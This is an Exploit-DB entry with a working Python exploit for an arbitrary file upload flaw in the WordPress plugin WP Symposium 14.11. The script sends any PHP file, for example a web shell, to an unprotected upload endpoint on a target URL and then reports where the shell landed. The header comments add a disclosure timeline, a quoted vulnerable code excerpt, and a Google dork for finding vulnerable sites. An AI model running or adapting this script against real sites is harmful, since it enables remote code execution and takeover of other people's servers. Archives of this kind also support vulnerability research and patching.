WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload

EDB-ID:

35543




Platform:

PHP

Date:

2014-12-15


#!/usr/bin/python
#
# Exploit Name: Wordpress WP Symposium 14.11 Shell Upload Vulnerability
#
#
# Vulnerability discovered by Claudio Viviani
#
# Exploit written by Claudio Viviani
#
#
# 2014-11-27:  Discovered vulnerability
# 2014-12-01:  Vendor Notification (Twitter)
# 2014-12-02:  Vendor Notification (Web Site) 
# 2014-12-04:  Vendor Notification (E-mail)
# 2014-12-11:  No Response/Feedback
# 2014-12-11:  Published
#
# Video Demo + Fix: https://www.youtube.com/watch?v=pF8lIuLT6Vs
#
# --------------------------------------------------------------------
#
# The upload function located on "/wp-symposium/server/file_upload_form.php " is protected:
#
#   if ($_FILES["file"]["error"] > 0) {
#       echo "Error: " . $_FILES["file"]["error"] . "<br>";
#   } else {
#       $allowedExts = ','.get_option(WPS_OPTIONS_PREFIX.'_image_ext').','.get_option(WPS_OPTIONS_PREFIX.'_doc_ext').','.get_option(WPS_OPTIONS_PREFIX.'_video_ext');
#       //echo "Upload: " . $_FILES["file"]["name"] . "<br>";
#       $ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
#       //echo "Extension: " . $ext . "<br />";
#       if (strpos($allowedExts, $ext)) {
#       $extAllowed = true;
#       } else {
#           $extAllowed = false;
#       }
#       //echo "Type: " . $_FILES["file"]["type"] . "<br>";
#       //echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
#       //echo "Stored in: " . $_FILES["file"]["tmp_name"];
#
#       if (!$extAllowed) {
#           echo __('Sorry, file type not allowed.', WPS_TEXT_DOMAIN);
#       } else {
#           // Copy file to tmp location
#   ...
#   ...
#   ...
#
# BUTTTTT "/wp-symposium/server/php/index.php" is not protected and "/wp-symposium/server/php/UploadHandler.php" allow any extension
#
# The same vulnerable files are locate in "/wp-symposium/mobile-files/server/php/"
#
# ---------------------------------------------------------------------
#
# Dork google:  index of "wp-symposium"
#
#
# Tested on BackBox 3.x with python 2.6
#
# Http connection
import urllib, urllib2, socket
#
import sys
# String manipulator
import string, random
# Args management
import optparse
# File management
import os, os.path, mimetypes

# Check url
def checkurl(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    else:
        return url

# Check if file exists and has readable
def checkfile(file):
    if not os.path.isfile(file) and not os.access(file, os.R_OK):
        print '[X] '+file+' file is missing or not readable'
        sys.exit(1)
    else:
        return file
# Get file's mimetype
def get_content_type(filename):
    return mimetypes.guess_type(filename)[0] or 'application/octet-stream'

def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))

# Create multipart header
def create_body_sh3ll_upl04d(payloadname, randDirName, randShellName):

   getfields = dict()
   getfields['uploader_uid'] = '1'
   getfields['uploader_dir'] = './'+randDirName
   getfields['uploader_url'] = url_symposium_upload

   payloadcontent = open(payloadname).read()

   LIMIT = '----------lImIt_of_THE_fIle_eW_$'
   CRLF = '\r\n'

   L = []
   for (key, value) in getfields.items():
      L.append('--' + LIMIT)
      L.append('Content-Disposition: form-data; name="%s"' % key)
      L.append('')
      L.append(value)

   L.append('--' + LIMIT)
   L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % ('files[]', randShellName+".php"))
   L.append('Content-Type: %s' % get_content_type(payloadname))
   L.append('')
   L.append(payloadcontent)
   L.append('--' + LIMIT + '--')
   L.append('')
   body = CRLF.join(L)
   return body

banner = """
  ___ ___               __
 |   Y   .-----.----.--|  .-----.----.-----.-----.-----.
 |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|
 |. / \  |_____|__| |_____|   __|__| |_____|_____|_____|
 |:      |                |__|
 |::.|:. |
 `--- ---'
  ___ ___ _______        _______                                  __
 |   Y   |   _   |______|   _   .--.--.--------.-----.-----.-----|__.--.--.--------.
 |.  |   |.  1   |______|   1___|  |  |        |  _  |  _  |__ --|  |  |  |        |
 |. / \  |.  ____|      |____   |___  |__|__|__|   __|_____|_____|__|_____|__|__|__|
 |:      |:  |          |:  1   |_____|        |__|
 |::.|:. |::.|          |::.. . |
 `--- ---`---'          `-------'
                                                              Wp-Symposium
                                                      Sh311 Upl04d Vuln3r4b1l1ty
                                                                v14.11

                                 Written by:

                               Claudio Viviani

                            http://www.homelab.it

                               info@homelab.it
                           homelabit@protonmail.ch

                      https://www.facebook.com/homelabit
                        https://twitter.com/homelabit
                      https://plus.google.com/+HomelabIt1/
             https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
"""

commandList = optparse.OptionParser('usage: %prog -t URL -f FILENAME.PHP [--timeout sec]')
commandList.add_option('-t', '--target', action="store",
                  help="Insert TARGET URL: http[s]://www.victim.com[:PORT]",
                  )
commandList.add_option('-f', '--file', action="store",
                  help="Insert file name, ex: shell.php",
                  )
commandList.add_option('--timeout', action="store", default=10, type="int",
                  help="[Timeout Value] - Default 10",
                  )

options, remainder = commandList.parse_args()

# Check args
if not options.target or not options.file:
    print(banner)
    commandList.print_help()
    sys.exit(1)

payloadname = checkfile(options.file)
host = checkurl(options.target)
timeout = options.timeout

print(banner)

socket.setdefaulttimeout(timeout)

url_symposium_upload = host+'/wp-content/plugins/wp-symposium/server/php/'

content_type = 'multipart/form-data; boundary=----------lImIt_of_THE_fIle_eW_$'

randDirName = id_generator()
randShellName = id_generator()

bodyupload = create_body_sh3ll_upl04d(payloadname, randDirName, randShellName)

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
           'content-type': content_type,
           'content-length': str(len(bodyupload)) }

try:
    req = urllib2.Request(url_symposium_upload+'index.php', bodyupload, headers)
    response = urllib2.urlopen(req)
    read = response.read()

    if "error" in read or read == "0" or read == "":
       print("[X] Upload Failed :(")
    else:
       print("[!] Shell Uploaded")
       print("[!] Location: "+url_symposium_upload+randDirName+randShellName+".php\n")

except urllib2.HTTPError as e:
    print("[X] "+str(e))
except urllib2.URLError as e:
    print("[X] Connection Error: "+str(e))